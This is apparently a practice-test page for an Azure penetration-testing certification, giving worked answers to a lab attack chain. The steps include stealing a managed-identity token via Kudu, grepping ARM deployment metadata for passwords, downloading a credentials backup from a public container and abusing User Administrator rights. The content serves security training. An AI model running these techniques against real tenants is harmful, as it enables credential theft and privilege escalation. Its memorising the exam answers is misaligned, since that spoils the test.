Free The SecOps Group CCPENX-AZ Practice Test Questions and Answers (2026)

below.

Explanation:

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p '' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

"user": {

"name": "c5fba7db-5e61-45bc-8944-3cd457bb19c2",

"type": "servicePrincipal"

}

}

This confirms you are authenticated as the App Registration/service principal.

================

below.

Explanation:

[email protected]

Detailed Solution:

Run:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--all \

--output table

Or filter by role:

az role assignment list \

--resource-group rg-prod-apps-eastus \

--role "User Access Administrator" \

--query "[].{Principal:principalName,Role:roleDefinitionName,Scope:scope}" \

--output table

Expected output:

Principal

Role

Scope

------------------------------------- ------------------------- ----------------------------

[email protected] User Access Administrator /subscriptions/.../rg-prod-

apps-eastus

Final answer:

[email protected]

================

below.

Explanation:

The answer is the exposed provisioning secret retrieved from ARM deployment metadata,

deployment operations, or App Service configuration. In this lab chain, it should reveal the next user

credential, commonly for:

[email protected]

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App

managed identity.

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl "$IDENTITY_ENDPOINT?api-version=2019-08-

01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df"

\

-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

For Windows PowerShell inside Kudu:

$uri = "$env:IDENTITY_ENDPOINT?api-version=2019-08-

01&resource=https://management.azure.com/&client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df"

$response = Invoke-RestMethod -Uri $uri -Headers @{

"X-IDENTITY-HEADER" = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = "7403ec86-c39d-4d80-9efa-35c7580ecefa"

$rg = "Excalibur-Resources"

Invoke-RestMethod `

-Uri "https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?apiversion=2021-04-01" `

-Headers @{ Authorization = "Bearer $token" }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri

"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso

urces/deployments?api-version=2021-04-01" `

-Headers @{ Authorization = "Bearer $token" }

For each deployment name returned, inspect it:

$deploymentName = ""

Invoke-RestMethod `

-Uri

"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso

urces/deployments/$deploymentName?api-version=2021-04-01" `

-Headers @{ Authorization = "Bearer $token" }

Also check deployment operations:

Invoke-RestMethod `

-Uri

"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso

urces/deployments/$deploymentName/operations?api-version=2021-04-01" `

-Headers @{ Authorization = "Bearer $token" }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H "Authorization: Bearer $TOKEN" \

"https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa35c7580ecefa/resourceGroups/Excalibur-

Resources/providers/Microsoft.Resources/deployments//operations?api-

version=2021-04-01" \

| jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'

Final Answer:

Use the leaked secret/password value returned from the deployment metadat

a. Do not guess this; it is lab-generated.

================

below.

Explanation:

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query "[?contains(name, 'prod')].{Name:name,Location:location}" \

--output table

Expected output:

Name

Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

below.

Explanation:

public-backups

Detailed Solution:

Try listing containers using Azure CLI:

az storage container list \

--account-name prodreportstore01 \

--auth-mode login \

--output table

If anonymous access is allowed, test via blob endpoint:

az storage blob list \

--account-name prodreportstore01 \

--container-name public-backups \

--auth-mode key \

--output table

In a lab, you can also test the public URL pattern:

https://prodreportstore01.blob.core.windows.net/public-backups/

Expected exposed container:

public-backups

Final answer:

public-backups

================

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u [email protected] -p ''

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url "https://graph.microsoft.com/v1.0/me/memberOf" \

--output json

To display only role names:

az rest --method GET \

--url "https://graph.microsoft.com/v1.0/me/memberOf" \

--query "value[].displayName" \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged

users. That is exactly why the next task asks you to abuse directory-level privileges to compromise

another user.

Final Answer:

B . User Administrator

================

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal

Role

Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User

/subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed

identities.

================

Detailed Solution:

Download the blob:

az storage blob download \

--account-name prodreportstore01 \

--container-name public-backups \

--name backup-config.json \

--file backup-config.json \

--auth-mode login

Read the file:

cat backup-config.json

Expected structure:

{

"tenantId": "8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a",

"clientId": "c5fba7db-5e61-45bc-8944-3cd457bb19c2",

"clientSecret": "REDACTED"

}

The App Registration application/client ID is stored in:

clientId

================

Detailed Solution:

Contributor allows broad management-plane operations but does not inherently grant secret-value

retrieval from Key Vault data plane.

Test secret read:

az keyvault secret show \

--vault-name kv-finance-prod \

--name db-password \

--query value \

--output tsv

Expected failure:

Forbidden

Correct answer:

B. No, Contributor does not automatically grant Key Vault secret data-plane read

Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires

appropriate data-plane permission.

================

Detailed Solution:

Resolve the service principal object ID:

az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv

Then list role assignments:

SP_OBJECT_ID=$(az ad sp show \

--id c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

--query id \

--output tsv)

az role assignment list \

--assignee "$SP_OBJECT_ID" \

--all \

--output table

Expected output:

Principal

Role

Scope

------------------------------------ ----------- ----------------------------------------

Contributor /subscriptions/5d8e44ac-...

Correct answer:

B. Contributor

================